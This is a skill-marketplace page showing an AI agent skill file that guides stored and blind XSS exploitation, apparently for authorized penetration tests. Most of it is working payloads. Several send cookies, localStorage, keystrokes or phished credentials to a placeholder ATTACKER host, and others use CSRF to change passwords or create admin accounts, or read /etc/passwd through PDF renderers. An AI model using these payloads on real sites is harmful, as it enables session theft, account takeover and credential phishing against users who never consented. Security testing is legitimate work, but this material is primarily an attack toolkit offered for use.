用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill xss-stored命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
基于 SOC 职业分类
正在显示 SKILL.md
| name | xss-stored |
| description | Guide stored (persistent) and blind XSS exploitation during authorized penetration testing. |
| keywords | ["stored XSS","persistent XSS","blind XSS","XSS in comments","XSS in profile","XSS Hunter","payload persists","XSS in user-generated content","admin panel XSS"] |
| tools | ["burpsuite","XSS Hunter","ezXSS"] |
| opsec | medium |
You are helping a penetration tester exploit stored (persistent) cross-site scripting. The target application saves user input and renders it unsafely on subsequent page loads, affecting other users who view the content. Blind XSS is a variant where the payload fires in a context the attacker cannot directly observe (admin panel, support ticket viewer, log dashboard). All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[xss-stored] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
browser_open to visit pages where stored payloads renderbrowser_evaluate to verify JavaScript execution in the rendered page
(e.g., check for DOM modifications, cookie exfiltration callbacks)browser_screenshot for evidence of stored XSS triggeringbrowser_navigate to admin panels or other user views to test blind XSS
renderingIf not already provided, determine:
Skip if context was already provided.
Submit a canary like xss<>"' to the storage point, then inspect where and how
it renders.
Common storage → render pairs:
| Storage Point | Render Point | Impact |
|---|---|---|
| Comment/post body | Public page | All visitors |
| User profile / display name | Profile page, admin user list | Other users, admins |
| Support ticket | Admin ticket viewer | Admin (blind XSS) |
| File upload filename | File listing page | Other users |
| Referer / User-Agent header | Analytics dashboard, admin logs | Admin (blind XSS) |
| Form field (address, bio) | Invoice, PDF export, email | Varies |
Use console.log() instead of alert() for stored XSS — avoids popup fatigue
on every page load while testing.
Basic payloads (try simple first):
<script>console.log('XSS:'+document.domain)</script>
<img src=x onerror=console.log('XSS:'+document.domain)>
<svg onload=console.log('XSS:'+document.domain)>
When <script> is stripped but event handlers work:
<img src=x onerror=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<video src=_ onloadstart=alert(document.domain)>
<body onload=alert(document.domain)>
When tags are stripped but attributes survive (injection inside existing tag):
" autofocus onfocus=alert(document.domain) "
' onmouseover=alert(document.domain) '
In rich text / WYSIWYG editors:
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
In file upload filenames:
"><img src=x onerror=alert(document.domain)>.png
<svg onload=alert(1)>.svg
In email / notification templates (if HTML email is sent):
<img src="https://ATTACKER/pixel?c=" onerror="this.src+='err'">
When you can inject input but cannot see where it renders (admin panels, support dashboards, log viewers).
XSS Hunter (self-hosted or trufflesecurity):
"><script src="https://js.rip/YOUR_ID"></script>
"><script src=//YOUR_SUBDOMAIN.xss.ht></script>
Custom callback (Python one-liner):
# Start listener
python3 -m http.server 8080
Custom payload (sends page context to attacker):
<script>
fetch('https://ATTACKER:8080/blind', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
url: location.href,
cookie: document.cookie,
dom: document.body.innerHTML.substring(0, 2000),
localStorage: JSON.stringify(localStorage)
})
});
</script>
<script src=...> for external payloads — more reliable than inlineCookie theft:
<script>new Image().src='https://ATTACKER/steal?c='+document.cookie</script>
Session hijacking:
<script>fetch('https://ATTACKER',{method:'POST',mode:'no-cors',body:document.cookie})</script>
Account takeover via password change CSRF:
<script>
fetch('/api/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({password: 'hacked123'})
});
</script>
Admin action CSRF (create new admin via stored XSS):
<script>
fetch('/admin/create-user', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'username=hacker&password=Passw0rd!&role=admin'
});
</script>
Keylogger:
<img src=x onerror='document.onkeypress=function(e){fetch("https://ATTACKER?k="+String.fromCharCode(e.which))},this.remove();'>
UI redressing / phishing:
<script>
history.replaceState(null,null,'/login');
document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish method=POST><input name=user placeholder=Username><input name=pass type=password><button>Login</button></form>';
</script>
If the XSS only affects the injecting user (self-XSS), it may still be exploitable:
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: storage point, render context, working payload, and CSP (if any).
console.log() during testing, alert() only for final PoCContent-Security-Policy header on the render page<details>, <video>, <meter>)<script> but allows <img onerror>)<script src=...><img> with onerror<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<circle r="50"/>
</svg>
If stored input is rendered into a PDF (wkhtmltopdf, Puppeteer):
<script>document.write(location)</script>
<iframe src="file:///etc/passwd">
<script>x=new XMLHttpRequest();x.open('GET','file:///etc/passwd');x.send();x.onload=function(){document.write(x.responseText)}</script>